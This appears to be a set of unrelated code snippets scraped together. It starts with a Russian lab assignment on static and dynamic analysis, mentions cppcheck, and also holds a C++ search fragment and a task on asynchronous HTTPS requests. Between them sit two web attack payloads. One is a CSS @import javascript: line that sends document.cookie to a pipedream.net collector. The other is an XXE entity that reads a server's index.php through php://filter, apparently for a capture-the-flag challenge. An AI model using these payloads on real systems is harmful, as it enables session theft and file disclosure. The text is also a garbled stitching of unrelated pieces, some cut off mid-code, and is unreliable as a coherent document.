Данная лабораторная работа посвещена изучению инструментов статического и динамического анализа кода
$ open http://cppcheck.sourceforge.net
- 1. Ознакомиться со ссылками учебного материала
@import 'javascript:eval("var xhr = new XMLHttpRequest();xhr.open(\"GET\",\"https://enxo2zqfm94v.x.pipedream.net?val=\"+document.cookie,true);xhr.send();alert(1)")'; | |
.message { | |
color: red; | |
} |
<?xml version="1.0" encoding="UTF-8" ?> | |
<!DOCTYPE title [ | |
<!ELEMENT title ANY > | |
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" > | |
]> | |
<rss version="2.0"> | |
<channel> | |
<title></title> | |
<link></link> | |
<description></description> |
#include <iostream> | |
#include <vector> | |
int FindTheSame(std::vector<int> array, size_t size, int elem) { | |
size_t left = 0; | |
size_t right = size - 1; | |
// Ищем промежуток | |
for (size_t i = 1; i < size; i *= 2) { | |
if (array[i] < elem) { |
Написать программу на C++ обеспечивающую асинхронный запрос по заданному URL к HTTPS серверу на получение кода доступа. Для создания асинхронного запроса необходимо использовать следующие примитивы многопоточного программирования: std::thread
для управления потоком и std::promise
для ассинхронной обработки кода ответа.
Передача аргумента происходит через командную строку.
#include <map> | |
#include <vector> | |
#include <string> | |
#include <algorithm> | |
#include <thread> | |
#include <future> | |
#include <iostream> |